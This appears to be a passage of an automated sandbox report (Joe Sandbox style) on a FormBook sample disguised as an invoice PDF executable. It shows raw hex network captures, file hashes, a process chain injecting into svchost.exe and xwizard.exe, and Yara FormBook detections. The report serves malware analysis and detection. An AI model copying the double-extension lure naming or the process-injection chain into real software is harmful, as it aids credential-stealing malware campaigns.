07 2e fe c7 a9 73 ed af a7 70 f5 5f ff fc 7f fe f9 7f fd f3 7f e0 d5 9b 33 5a [TRUNCATED] Data Ascii: c000[sF0_Ap}83cg&64D" ROl}_/mf7R#M@UfeVVVfVUkV7Fzngfw-5`zwkrv)trnx71feFg4<`:yvN`:PK}nZ3s@~pcaan8P\|o?W.sp_3Zfge-C}{77A::3g;7V\|c173>7\|f9+xoxy!HUY"_~iksuvm>5McT+\|Xda1[9,\{rdLDAz:&$?Nu1h+087YSD0f<[Fi53:?3}{9>0}3bV0`-U6`tnQL7)EDpA,lnqsN/[$eP`>Bw,z@pnRTlX;9a pn6ADY;@3%0kL'~pw Wo]YmkKq-D2}E%kd6AK\-\`9;!;jU/$8X<K*[IGLU2^>MNH_7&bW1((K3e]<cRDFxZYnWh\|Z"r`zc)<8 [TRUNCATED]
Dec 10, 2024 16:27:07.551563025 CET	1236	IN	Data Raw: 64 9b d6 78 02 a9 6d 27 53 8d 46 ad 6b 4c 3a 99 a4 43 df 63 e0 07 06 98 29 61 13 47 c2 1e 13 55 63 f8 89 d8 44 d3 5b 7a f8 6a 42 22 1b e4 07 b1 c5 6c 30 77 07 84 2b 03 04 4f 05 7e 17 e1 31 f8 d8 0c 89 6d ba ce 40 54 29 e8 c6 e4 b2 41 2d 12 99 0c Data Ascii: dxm'SFkL:Cc)aGUcD[zjB"l0w+O~1m@T)A-IPcfJKpPJ%kMj)dB3u=Y(!0?9s=xYXRcD]=az2rb(o=k,R~=t`;WswH=F%@s
Dec 10, 2024 16:27:07.551574945 CET	448	IN	Data Raw: e5 61 1b ea 6c 72 6a 7d e7 6d 72 51 90 64 26 a3 dc be f9 24 0c 72 bb 64 03 ea 6e 63 bc ac d6 fe 86 78 86 15 4f 6e 84 47 d8 9f d7 00 6f d8 0f 51 d3 0f 68 78 67 f8 f0 d4 46 b7 7d dc ed d9 6c 86 6e c3 3e 08 1b 7e 38 43 3b c3 84 a7 37 b2 23 f4 cf 6c Data Ascii: alrj}mrQd&$rdncxOnGoQhxgF}ln>~8C;7#l`74xz:uHPC:g0#m@753xz9FsHC97b G%q+b{fYi}HXCrIx8YQk_27{deG)[
Dec 10, 2024 16:27:07.551759005 CET	1236	IN	Data Raw: 91 52 5a 3f 4b ae 6c 28 43 ed ba b2 70 8e 66 8a af b2 74 86 70 79 a1 98 43 76 c2 a1 98 e9 39 86 fd 90 4a 2d 64 ad 8c 1b 73 b2 f1 ec 5e 17 53 d4 4e c8 ef 33 ff f6 e6 f5 c7 95 3d 8d 12 ce 6e 82 c5 60 c4 7d 2d 7f 07 0f 3a f0 c0 f1 f5 57 98 c1 76 72 Data Ascii: RZ?Kl(CpftpyCv9J-ds^SN3=n`}-:WvrvvwwI `WyJB~*whmm\d#Y##Ai[%id$8\|HD~uFc+OgQisU.8c<_#_iarYnS
Dec 10, 2024 16:27:07.551784039 CET	1236	IN	Data Raw: 9e cd a4 df 6d ca b1 99 f4 99 c4 42 6d b3 e1 17 ac e9 4c de f7 67 b4 ea 93 cc a9 07 b4 ec 4b 89 7b 46 eb 9e 89 48 36 0b 3f 4f da 33 59 f9 4c 14 35 b3 f4 4b 29 7b 72 6b bf 92 30 76 8b 9f 89 37 4c 56 7f 9e 25 cf 6b f9 97 b6 e6 d9 ac 7f 26 2e 33 5a Data Ascii: mBmLgK{FH6?O3YL5K){rk0v7LV%k&.3Zy`'PNyl#(\^Az.w'?pMRY{<PgLE6:/("O_8PJn9'6_(6xSJ[/){@i{A
Dec 10, 2024 16:27:07.552292109 CET	448	IN	Data Raw: 61 90 94 96 b9 82 3e 5a 3d d8 66 00 b6 13 01 43 5f 03 4a 56 41 da 2d c6 54 ab a8 14 e6 01 be 22 37 fd 6e dc 56 6f 0a 4e 60 1b 2b 77 e3 90 37 77 c6 c8 cc f4 eb 82 c6 ad 97 87 4b d5 60 fa ed ca 80 05 3a ad 9c 0b e9 18 04 0d f5 6d 2b 9b 2a b5 6d 6a Data Ascii: a>Z=fC_JVA-T"7nVoN`+w7wK`:m+mj)3}fl2Cde7Z,S\|TRkPh[-W11S2\+_YxinvJE.rL33BYMb ZZ9U'z'QNC_!i%/
Dec 10, 2024 16:27:07.552304029 CET	1236	IN	Data Raw: ae d5 e1 fb 92 c3 95 0b 2e ff 80 48 71 6e 1a 49 2d 2f 32 ef 41 2f 02 1d 00 17 56 2e f4 76 fe b5 b3 a9 d5 e2 6c cc 36 bc 20 21 d5 c8 e8 c2 d9 24 37 9e 48 28 b9 ed 19 db 4f a0 bd cd 16 c2 4b bb b3 ce 6f df b5 0c be 1f 40 f6 05 b2 3d 1b 5c e8 1b a2 Data Ascii: .HqnI-/2A/V.vl6 !$7H(OKo@=\T`j91sokan-P-LKesTX2QR(s2 Lv?$nF#R9Z)6wc>z.pwfY0Uq`%>*:-pY
Dec 10, 2024 16:27:07.552323103 CET	224	IN	Data Raw: ac b5 63 c5 10 ae ab 29 8d ab 36 e3 6d 5c ad 92 c3 86 6c cc 67 c2 6e bc d5 7c 1e a9 63 d9 98 35 6f f9 4e 6e c7 35 6b 79 5e c1 b8 ec 8b 58 e8 2b 56 a6 c5 da e1 1b 5a 4a aa b2 31 9a 96 ad e4 ae 39 32 af 17 45 81 28 c7 10 51 39 a9 43 95 f0 a2 12 69 Data Ascii: c)6m\lgn\|c5oNn5ky^X+VZJ192E(Q9CiMaBYFUU/O>&!2aV~Ey6^\|TZRI&LcQbYC!k<"k@JkWgEC<vo8*c$~t,Pe5PDhe2)
Dec 10, 2024 16:27:07.552331924 CET	1236	IN	Data Raw: 47 cd 3f c4 bc b0 5d 30 03 16 41 b6 0d 30 87 dc 98 13 34 c8 0d 6f 70 83 09 69 4c 27 e8 8d 85 b9 79 c3 79 37 d7 46 4f 52 55 2e fa c7 8b 7d 2e 1c 08 fd 1d 0a 63 47 13 f6 54 5f c7 25 8c 8c cc 4a c2 6a a7 d7 0a ed 10 67 cf 29 d3 bb 86 2c cb 45 c3 2b Data Ascii: G?]0A04opiL'yy7FORU.}.cGT_%Jjg),E+8FL1U,H5[l5jY_5F9Z3TSP4X5zViy6p8\X7QU36sxGRJJY24d%dETS('OXKtR+E\|
Dec 10, 2024 16:27:07.552869081 CET	224	IN	Data Raw: 3c e0 65 00 af ca 23 bc 10 45 5e 1b aa f8 c2 32 28 a6 00 38 65 34 0c af f1 73 34 42 d8 22 3f 14 a4 01 3c d3 46 e4 ee 58 1a 24 45 c6 d2 72 a0 0d 79 45 90 66 a0 87 64 09 6a 0c a0 86 a2 8e 06 2a 94 51 a2 1f f8 35 52 0c fc 1a 0e 3b e1 97 d0 11 c4 31 Data Ascii: <e#E^2(8e4s4B"?<FX$EryEfdjQ5R;12K{_KWg9N\: jPcX59+Y?x$m<4(IIGr4ZWGW^v<L!g^gEQrVU
Dec 10, 2024 16:27:07.671237946 CET	1236	IN	Data Raw: ac 24 92 9b ca 20 29 a0 00 5b a1 e5 23 e4 aa a8 52 a6 8a ea 40 01 89 08 2f 45 94 1b e0 21 f0 59 06 c2 64 6c f5 18 04 40 05 46 8c 89 f0 8c 04 39 cd d1 77 f2 3b ed dd f7 45 8e ca 28 3d c3 ce 68 04 cd 9a 0d 80 02 99 f4 16 f0 55 54 00 c5 00 ba 68 08 Data Ascii: $ )[#R@/E!Ydl@F9w;E(=hUThT%DlQ@@(d$[`yuy<C0f V3A0N)hP)C QPYFn#z"a* @0`p6CZZP;\'nah<0RqFym

Target ID:	0
Start time:	10:22:57
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe"
Imagebase:	0x400000
File size:	983'498 bytes
MD5 hash:	809F3ED91D34D38F0ECED2A0709E22E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	10:22:58
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe"
Imagebase:	0x670000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2353981080.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2353173694.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2354040519.0000000004800000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	10:23:22
Start date:	10/12/2024
Path:	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe"
Imagebase:	0x420000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4507703675.0000000006490000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4503127560.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	10:23:24
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\xwizard.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\xwizard.exe"
Imagebase:	0x460000
File size:	55'808 bytes
MD5 hash:	8581F29C5F84B72C053DBCC5372C5DB6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4501630605.0000000003000000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4502701769.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4502765838.0000000004CB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	7
Start time:	10:23:48
Start date:	10/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true